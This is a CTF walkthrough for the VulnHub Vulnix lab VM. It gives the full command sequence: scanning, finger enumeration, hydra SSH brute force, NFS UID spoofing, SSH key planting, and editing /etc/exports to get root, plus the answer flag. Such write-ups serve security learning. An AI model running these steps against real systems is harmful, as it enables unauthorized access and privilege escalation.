Vulnix CTF — Investigation Report

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Target : Vulnix (VulnHub VM)

Link : https://www.vulnhub.com/entry/hacklab-vulnix,48/

Executive summary

This report extracts the actionable steps from the provided Vulnix PDF to reproduce the lab from reconnaissance through privilege escalation. It lists exact commands, expected results, and quick remediation notes. Use this in your lab environment only.

Environment

- Attacker machine: Kali Linux (or any Linux with NFS tools) on the same virtual network as the target VM.
- Target: Vulnix VM (example IP 192.168.1.3 used in this report).
- Important tools: nmap, rpcinfo, showmount, nfs-common (client), ssh, useradd, sudo.

1. Network discovery — find the target IP

Command - Netdiscover

```
Currently scanning: 192.168.0.0/16   |   Screen View: Unique Hosts

11 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 660
_____________________________________________________________________________
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname
_____________________________________________________________________________
[redacted]      84:6e:bc:bd:4e:41      8     480  Nokia Solutions and Networks India Private Limited
192.168.1.3     08:00:27:91:d0:77      1      60  PCS Systemtechnik GmbH
[redacted]      [redacted]             1      60  Intel Corporate
[redacted]      [redacted]             1      60  ALFA, INC.
```

2. Scanning

Command – nmap -sN -sV 192.168.1.3

```
┌──(root㉿Kali)-[/home/kali]
└─# nmap -sN -sV 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-27 19:13 IST
Nmap scan report for 192.168.1.3
Host is up (0.00022s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
25/tcp   open  smtp       Postfix smtpd
79/tcp   open  finger     Linux fingerd
110/tcp  open  pop3       Dovecot pop3d
111/tcp  open  rpcbind    2-4 (RPC #100000)
143/tcp  open  imap       Dovecot imapd
512/tcp  open  exec       netkit-rsh rexecd
513/tcp  open  login
514/tcp  open  tcpwrapped
993/tcp  open  ssl/imap   Dovecot imapd
995/tcp  open  ssl/pop3   Dovecot pop3d
2049/tcp open  nfs        2-4 (RPC #100003)
MAC Address: 08:00:27:91:D0:77 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host:  vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.26 seconds
```

Expected results: Open ports including 22 (ssh), 25 (smtp), 79 (finger), 111 (rpcbind), 2049 (nfs). Note NFS (2049) as high priority.

3. Enumeration with Finger Service

- Used the finger service to enumerate users:

Command – 1) finger user@192.168.1.3

2) finger vulnix@192.168.1.3

```
┌──(root㉿Kali)-[/home/kali]
└─# finger user@192.168.1.3
Login: user                             Name: user
Directory: /home/user                   Shell: /bin/bash
Never logged in.
No mail.
No Plan.

Login: dovenull                         Name: Dovecot login user
Directory: /nonexistent                 Shell: /bin/false
Never logged in.
No mail.
No Plan.

┌──(root㉿Kali)-[/home/kali]
└─# finger vulnix@192.168.1.3
Login: vulnix                           Name:
Directory: /home/vulnix                 Shell: /bin/bash
Never logged in.
No mail.
No Plan.
```

Found two users user and vulnix. Both had home directories set, but neither had logged in recently, or had mail/plan data set.

Creating user.txt file to store user's id for Brute-force

```
┌──(root㉿Kali)-[/home/kali]
└─# nano user.txt
```

```
┌──(kali㉿Kali)-[~]
└─$ cat user.txt
user
dovenull
vulnix
```

4. Brute-force SSH Credentials

```
┌──(root㉿Kali)-[/home/kali]
└─# hydra -L /home/kali/user.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.3 -t 50
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purpo
ses (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-27 19:16:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwritin
g, ./hydra.restore
[DATA] max 50 tasks per 1 server, overall 50 tasks, 43033197 login tries (l:3/p:14344399), ~860664 tries per task
[DATA] attacking ssh://192.168.1.3:22/
[STATUS] 260.00 tries/min, 260 tries in 00:01h, 43032979 to do in 2758:32h, 8 active
[22][ssh] host: 192.168.1.3   login: user   password: letmein
[STATUS] 4781512.33 tries/min, 14344537 tries in 00:03h, 28688702 to do in 00:06h, 8 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
```

Successfully found credentials for user: letmein.

Used SSH to connect:

```
┌──(root㉿Kali)-[/home/kali]
└─# ssh user@192.168.1.3
The authenticity of host '192.168.1.3 (192.168.1.3)' can't be established.
ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:11: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.3' (ECDSA) to the list of known hosts.
user@192.168.1.3's password:
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Mon Oct 27 13:53:55 GMT 2025

  System load:  0.04              Processes:           88
  Usage of /:   90.2% of 773MB    Users logged in:     0
  Memory usage: 7%                IP address for eth0: 192.168.1.3
  Swap usage:   0%

  ⇒ / is using 90.2% of 773MB

  Graph this data and manage this system at https://landscape.canonical.com/

Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife

New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

user@vulnix:~$
```

Logged in, confirming target system is Ubuntu 12.04 LTS, with user in group users.

```
user@vulnix:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),100(users)
```

5. NFS Enumeration and Exploitation

Checked for NFS shares:

```
┌──(root㉿Kali)-[/home/kali]
└─# showmount -e 192.168.1.3
Export list for 192.168.1.3:
/home/vulnix *
```

Found export: /home/vulnix.

Mounting the NFS Export

Created a directory on the Kali host to serve as the mount point:

```
┌──(root㉿Kali)-[/home/kali]
└─# mkdir /mnt/vulnix
```

This prepares the local filesystem to access remote NFS shares.

Mounted the NFS export /home/vulnix from the target IP (192.168.1.3) onto the created directory:

```
┌──(root㉿Kali)-[/home/kali]
└─# mount -t nfs 192.168.1.3:/home/vulnix /mnt/vulnix
```

The initial mount was attempted without specifying the NFS version. If permissions or compatibility issues arise, specifying the version can help.

Verifying Export Permissions

Listed the contents and permissions on the mounted export:

```
┌──(root㉿hostvbox)-[/home/cipwth]
└─# ls -lash /mnt/
total 12K
4.0K drwxr-xr-x  3 root   root    4.0K Oct 28 17:23 .
4.0K drwxr-xr-x 18 root   root    4.0K Jul  5 14:37 ..
4.0K drwxr-x---  2 nobody nogroup 4.0K Sep  2  2012 vulnix
```

vulnix: permissions drwxr-x---, owned by user ID 2 (usually "nobody") and group "nogroup".

Remounted using NFS version 3 for compatibility for permissions.

```
┌──(root㉿hostvbox)-[/home/cipwth]
└─# mount -t nfs 192.168.1.3:/home/vulnix /mnt/vulnix -o vers=3
Created symlink '/run/systemd/system/remote-fs.target.wants/rpc-statd.service' → '/usr/lib/systemd/system/rpc-statd.service'.
```

Listing the mounted share again confirms ownership and permissions:

```
┌──(root㉿hostvbox)-[/home/cipwth]
└─# ls -lash /mnt/
total 12K
4.0K drwxr-xr-x  3 root root 4.0K Oct 28 17:23 .
4.0K drwxr-xr-x 18 root root 4.0K Jul  5 14:37 ..
4.0K drwxr-x---  2 2008 2008 4.0K Sep  2  2012 vulnix
```

The vulnix folder still shows as owned by UID 2008 (vulnix), reaffirming that further actions must be taken to access files, such as creating a local user with the same UID.

6. Creating a new user

Created a user on the attacking machine with UID/GID matching vulnix (2008) to gain access:

```
┌──(root㉿hostvbox)-[/home/cipwth]
└─# adduser -u 2008 vulnix
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for vulnix
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y

┌──(root㉿hostvbox)-[/home/cipwth]
└─# id vulnix
uid=2008(vulnix) gid=2008(vulnix) groups=2008(vulnix),100(users)
```

Switching user into vulnix

```
┌──(root㉿hostvbox)-[/home/cipwth]
└─# su vulnix
```

After switching users, attacker could access contents within the mount.

From here this part of the walkthrough demonstrates preparing for SSH access by creating an SSH directory, generating an SSH key pair, and verifying permissions on the mounted NFS export as the vulnix user.

7. SSH Directory Creation and Permissions

As vulnix, created an SSH directory inside the mounted NFS share:

```
┌──(vulnix㉿hostvbox)-[/home/cipwth]
└─$ mkdir /mnt/vulnix/.ssh/

┌──(vulnix㉿hostvbox)-[/home/cipwth]
└─$ ls -lash /mnt/vulnix
total 24K
4.0K drwxr-x--- 3 vulnix vulnix 4.0K Oct 28 17:43 .
4.0K drwxr-xr-x 3 root   root   4.0K Oct 28 17:23 ..
4.0K -rw-r--r-- 1 vulnix vulnix  220 Apr  3  2012 .bash_logout
4.0K -rw-r--r-- 1 vulnix vulnix 3.5K Apr  3  2012 .bashrc
4.0K -rw-r--r-- 1 vulnix vulnix  675 Apr  3  2012 .profile
4.0K drwxrwxr-x 2 vulnix vulnix 4.0K Oct 28 17:43 .ssh
```

SSH Key Pair Generation

Generated a new SSH key pair for the vulnix user:

```
┌──(vulnix㉿hostvbox)-[/home/cipwth]
└─$ ssh-keygen -t ssh-rsa
Generating public/private ssh-rsa key pair.
Enter file in which to save the key (/home/vulnix/.ssh/id_rsa):
Enter passphrase for "/home/vulnix/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/vulnix/.ssh/id_rsa
Your public key has been saved in /home/vulnix/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:ho9YpY76nA6Q1R1s+kb1zCtLguLBh5tbsxO61BSbX/Q vulnix@hostvbox
The key's randomart image is:
+---[RSA 3072]----+
|      ..         |
|   . .o..        |
|  . oo..o+       |
| o  .+.= .+      |
|o. .+++ S E.     |
| .=o+*+=o .      |
| .oB*o+o.o       |
| .==.+  .        |
|  +=*.           |
+----[SHA256]-----+
```

Adding Local Public Key to Target's Authorized Keys

Switched to the home directory and then into the .ssh directory to verify the existence of the SSH public and private key files:

```
┌──(vulnix㉿hostvbox)-[/home/cipwth]
└─$ cd ~
```

```
┌──(vulnix㉿hostvbox)-[~]
└─$ ls .ssh
id_rsa  id_rsa.pub  known_hosts
```

Confirmed the files: id_rsa, id_rsa.pub, and known_hosts are present.

Copied the locally generated public key to the authorized keys file within the mounted NFS share:

```
┌──(vulnix㉿hostvbox)-[~]
└─$ cd .ssh

┌──(vulnix㉿hostvbox)-[~/.ssh]
└─$ cp id_rsa.pub /mnt/vulnix/.ssh/authorized_keys
```

By placing the content of id_rsa.pub into authorized_keys on /mnt/vulnix/.ssh/, you enable SSH access for the corresponding private key from anywhere with network connectivity to the vulnerable host.

Verified the contents of both the public key and the authorized keys file to confirm proper transfer:

```
┌──(vulnix㉿hostvbox)-[~/.ssh]
└─$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFvD8XNPE129smpxmE7qfjnm3Wjldj1t8VUP7r0AW/nuHYzlWyKDV7LJB2dfnTQryhqQgwtl4njx4kpcz1s0duVHvNTmciDBnBr
CQl9eMxoVN7F5pxUWy6ficoWDKhTyxBM4cksJCigCzHH4QWrxfEs+2/5CUnXeXBa3a+Bnk2BObtcmrnNDI6p5xeEQddpbxPOvdVDw/qhMtB5EKzC3VWE/VpCL0khtQmr39CTZjNBT
qMZKJ3EwNILfzk1/w6vfwo8FpdsaGKJwL+GyQcskLJr/hNOdLHVQB/PvcXNAseLcMH9WdfroMCYyOgAlqbpwkuC2MLcw/Vzzfbc66DMWhDGNYxuLZbrEGUM2Sq4AWl80VuswIxAqb
w2PndqLsCAUDpzlCL2yafuErY3/IKnuF18EagGfb6iP6qow44WpLHmUo1tRlao47O1FAiTD/I5JukIV3EX37C+7qzCEVf14VKCAlTlIsdCQPIVZYe6mRjQ8fHJD9PleqP6Q/WXE4w
lK0= vulnix@hostvbox

┌──(vulnix㉿hostvbox)-[~/.ssh]
└─$ cat /mnt/vulnix/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFvD8XNPE129smpxmE7qfjnm3Wjldj1t8VUP7r0AW/nuHYzlWyKDV7LJB2dfnTQryhqQgwtl4njx4kpcz1s0duVHvNTmciDBnBr
CQl9eMxoVN7F5pxUWy6ficoWDKhTyxBM4cksJCigCzHH4QWrxfEs+2/5CUnXeXBa3a+Bnk2BObtcmrnNDI6p5xeEQddpbxPOvdVDw/qhMtB5EKzC3VWE/VpCL0khtQmr39CTZjNBT
qMZKJ3EwNILfzk1/w6vfwo8FpdsaGKJwL+GyQcskLJr/hNOdLHVQB/PvcXNAseLcMH9WdfroMCYyOgAlqbpwkuC2MLcw/Vzzfbc66DMWhDGNYxuLZbrEGUM2Sq4AWl80VuswIxAqb
w2PndqLsCAUDpzlCL2yafuErY3/IKnuF18EagGfb6iP6qow44WpLHmUo1tRlao47O1FAiTD/I5JukIV3EX37C+7qzCEVf14VKCAlTlIsdCQPIVZYe6mRjQ8fHJD9PleqP6Q/WXE4w
lK0= vulnix@hostvbox
```

Both files now contain the same SSH public key string, ensuring that SSH key-based authentication should succeed for user vulnix on the target system.

8. Privilege Escalation

SSH Key Authentication and Login

Connected to the vulnerable host via SSH using the vulnix private key, specifying key type options for compatibility:

```
┌──(vulnix㉿hostvbox)-[~/.ssh]
└─$ ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i id_rsa vulnix@192.168.1.3
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Tue Oct 28 12:35:18 GMT 2025

  System load:  0.0               Processes:           91
  Usage of /:   90.3% of 773MB    Users logged in:     1
  Memory usage: 9%                IP address for eth0: 192.168.1.3
  Swap usage:   0%

  => / is using 90.3% of 773MB

  Graph this data and manage this system at https://landscape.canonical.com/

Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife

New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

vulnix@vulnix:~$
```

Logged in, confirming target system is Vulnix

```
vulnix@vulnix:~$ id
uid=2008(vulnix) gid=2008(vulnix) groups=2008(vulnix)
```

Checked sudo privileges for user vulnix:

```
vulnix@vulnix:~$ sudo -l
Matching 'Defaults' entries for vulnix on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User vulnix may run the following commands on this host:
    (root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
```

Discovered user could edit /etc/exports via sudoedit, which allowed escalation by modifying NFS exports.

Editing /etc/exports for NFS Escalation

```
  GNU nano 2.2.6                          File: /var/tmp/exports.XXxrf3n2

# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix    *(rw,root_squash)
```

Opened /etc/exports with sudoedit and initially observed that only /home/vulnix was exported with rw,root_squash options.

- root_squash maps remote root requests to the 'nobody' user, limiting possible damage from remote root accesses.

Modified /etc/exports to add a new entry:

```
  GNU nano 2.2.6                          File: /var/tmp/exports.XXxrf3n2

# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix    *(rw,root_squash)
/root           *(rw,no_root_squash)
```

By saving this file and re-exporting NFS shares, the attacker can now mount the /root filesystem from their own machine and obtain full root shell capabilities.

9. Mounting the Root Directory and Capturing the Flag

Listed the current NFS exports on the target using and Made a local directory to serve as the mount point:

```
┌──(root㉿hostvbox)-[/]
└─# showmount -e 192.168.1.3
Export list for 192.168.1.3:
/home/vulnix *
/root        *

┌──(root㉿hostvbox)-[/]
└─# mkdir /mnt/vulnroot

┌──(root㉿hostvbox)-[/]
└─# mount -t nfs 192.168.1.3:/root /mnt/vulnroot
```

At the end Mounted the remote /root export.

- Shows that both /home/vulnix and now /root are exported, confirming the earlier privilege escalation through /etc/exports editing.
- Successfully connected to the root directory of the target machine, since the NFS export now includes the no_root_squash option.

Listed the contents of /mnt/vulnroot:

```
┌──(root㉿hostvbox)-[/]
└─# ls -lash /mnt/vulnroot
total 28K
4.0K drwx------ 3 nobody nogroup 4.0K Sep  3  2012 .
4.0K drwxr-xr-x 4 root   root    4.0K Oct 28 18:50 ..
   0 -rw------- 1 nobody nogroup    0 Sep  3  2012 .bash_history
4.0K -rw-r--r-- 1 nobody nogroup 3.1K Apr 19  2012 .bashrc
4.0K drwx------ 2 nobody nogroup 4.0K Sep  2  2012 .cache
4.0K -rw-r--r-- 1 nobody nogroup  140 Apr 19  2012 .profile
4.0K -r-------- 1 nobody nogroup   33 Sep  2  2012 trophy.txt
4.0K -rw------- 1 nobody nogroup  710 Sep  2  2012 .viminfo
```

Confirmed presence of sensitive files including .bash_history, .bashrc, .profile, .cache, .viminfo, and crucially, trophy.txt, typically the CTF flag file.

10. Read the flag:

```
┌──(root㉿hostvbox)-[/]
└─# cat /mnt/vulnroot/trophy.txt
cc614640424f5bd60ce5d5264899c3be
```

Output flag: cc614640424f5bd60ce5d5264899c3be, successfully completing the challenge objective.